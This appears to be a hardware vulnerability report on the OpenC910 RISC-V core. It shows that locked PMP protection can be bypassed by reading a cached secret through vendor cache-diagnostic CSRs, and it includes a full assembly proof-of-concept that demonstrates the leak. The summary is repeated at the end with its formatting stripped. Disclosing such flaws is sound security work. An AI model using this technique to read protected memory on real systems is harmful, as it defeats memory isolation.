Summary
I found a bug in OpenC910's machine cache-index read CSRs (MCINDEX, MCINS, MCDATA0/1). After locked PMP blocks normal loads from a physical address, cache diagnostic reads should not expose that protected data. However, OpenC910 can still recover the cached line through MCDATA0/1.
The provided test case is a locked M-mode confidentiality leak:
- write a secret to
0x60080
- read it once so the line is resident in D-cache
- install a locked no-access NAPOT PMP entry on the page
- confirm a normal M-mode load from the address raises
mcause = 5
- scan D-cache data arrays through
MCINDEX/MCINS
- read the secret back through
MCDATA0/1
Expected result:
- after locked PMP denies ordinary loads, cache diagnostic read should not expose protected data
Actual result on OpenC910:
- the secret is recovered through
MCDATA0/1
Testcase
The testcase configures:
pmpaddr0 = 0x181ff
pmpcfg0 = 0x98 # L=1, A=NAPOT, R/W/X=0
target = 0x60080
It first executes a normal load:
This load traps as expected. Then it scans D-cache data array way/index:
csrw 0x7d3, t0 # MCINDEX
li t0, 1
csrw 0x7d2, t0 # MCINS
csrr t3, 0x7d4 # MCDATA0
csrr t3, 0x7d5 # MCDATA1
If the bug is present, the testcase prints CTSL.
Full Test Case:
.equ CSR_MCINS, 0x7d2
.equ CSR_MCINDEX, 0x7d3
.equ CSR_MCDATA0, 0x7d4
.equ CSR_MCDATA1, 0x7d5
.equ TARGET_ADDR, 0x60080
.equ TARGET_NAPOT, 0x181ff
.equ PMP_NO_L_NAPOT,0x98
.equ SECRET, 0x5ac35ac3d00df00d
.equ CAUSE_LD_AF, 5
#ifndef INVALIDATE_BEFORE_LOCK
#define INVALIDATE_BEFORE_LOCK 0
#endif
.text
.align 6
.global main
main:
la t0, trap_handler
csrw mtvec, t0
li s7, 0
li t0, TARGET_ADDR
li t1, SECRET
sd t1, 0(t0)
ld t2, 0(t0)
bne t2, t1, setup_failed
#if INVALIDATE_BEFORE_LOCK
# Negative control: remove the warmed line before PMP is locked. The later
# cache-index scan should not observe SECRET if the leak depends on cache
# residency instead of stale MCDATA CSR contents.
li t0, TARGET_ADDR
.word 0x0262800b # dcache.iva t0
fence
#endif
li t0, TARGET_NAPOT
csrw pmpaddr0, t0
li t0, PMP_NO_L_NAPOT
csrw pmpcfg0, t0
fence
csrr t0, pmpcfg0
andi t0, t0, 0xff
li t1, PMP_NO_L_NAPOT
bne t0, t1, setup_failed
li a0, 67
jal ra, oracle_putc
direct_load_probe:
li t0, TARGET_ADDR
faulting_ld:
ld t3, 0(t0)
li a0, 71
jal ra, oracle_putc
j done
after_direct_load:
beqz s7, setup_failed
li a0, 83
jal ra, oracle_putc
li s0, 0 # way
way_loop:
li s1, 0 # index bit4 variant
idx_loop:
li t0, 3
slli t0, t0, 28 # rid=3: dcache data
slli t1, s0, 21
or t0, t0, t1
li t1, TARGET_ADDR
beqz s1, 1f
xori t1, t1, 0x10
1:
li t2, 0x1fffff
and t1, t1, t2
or t0, t0, t1
csrw CSR_MCINDEX, t0
li t0, 1
csrw CSR_MCINS, t0
# Wait long enough for cdata0/1 to latch if the cache-read request returns.
.rept 64
nop
.endr
csrr t3, CSR_MCDATA0
li t4, SECRET
beq t3, t4, leaked
csrr t3, CSR_MCDATA1
beq t3, t4, leaked
addi s1, s1, 1
li t0, 2
blt s1, t0, idx_loop
addi s0, s0, 1
li t0, 2
blt s0, t0, way_loop
li a0, 78
jal ra, oracle_putc
j done
leaked:
li a0, 76
jal ra, oracle_putc
j done
trap_handler:
csrr t0, mcause
li t1, CAUSE_LD_AF
bne t0, t1, wrong_trap
csrr t0, mepc
la t1, faulting_ld
bne t0, t1, wrong_trap
li s7, 1
li t3, UART_MMIO_ADDR
li t4, 84
sw t4, 0(t3)
la t0, after_direct_load
csrw mepc, t0
mret
wrong_trap:
li t3, UART_MMIO_ADDR
li t4, 87
sw t4, 0(t3)
1:
j 1b
setup_failed:
li a0, 70
jal ra, oracle_putc
done:
1:
j 1b
appendix.zip
Summary
I found a bug in OpenC910's machine cache-index read CSRs (
MCINDEX,MCINS,MCDATA0/1). After locked PMP blocks normal loads from a physical address, cache diagnostic reads should not expose that protected data. However, OpenC910 can still recover the cached line throughMCDATA0/1.The provided test case is a locked M-mode confidentiality leak:
0x60080mcause = 5MCINDEX/MCINSMCDATA0/1Expected result:
Actual result on OpenC910:
MCDATA0/1Testcase
The testcase configures:
It first executes a normal load:
This load traps as expected. Then it scans D-cache data array way/index:
If the bug is present, the testcase prints
CTSL.Full Test Case:
appendix.zip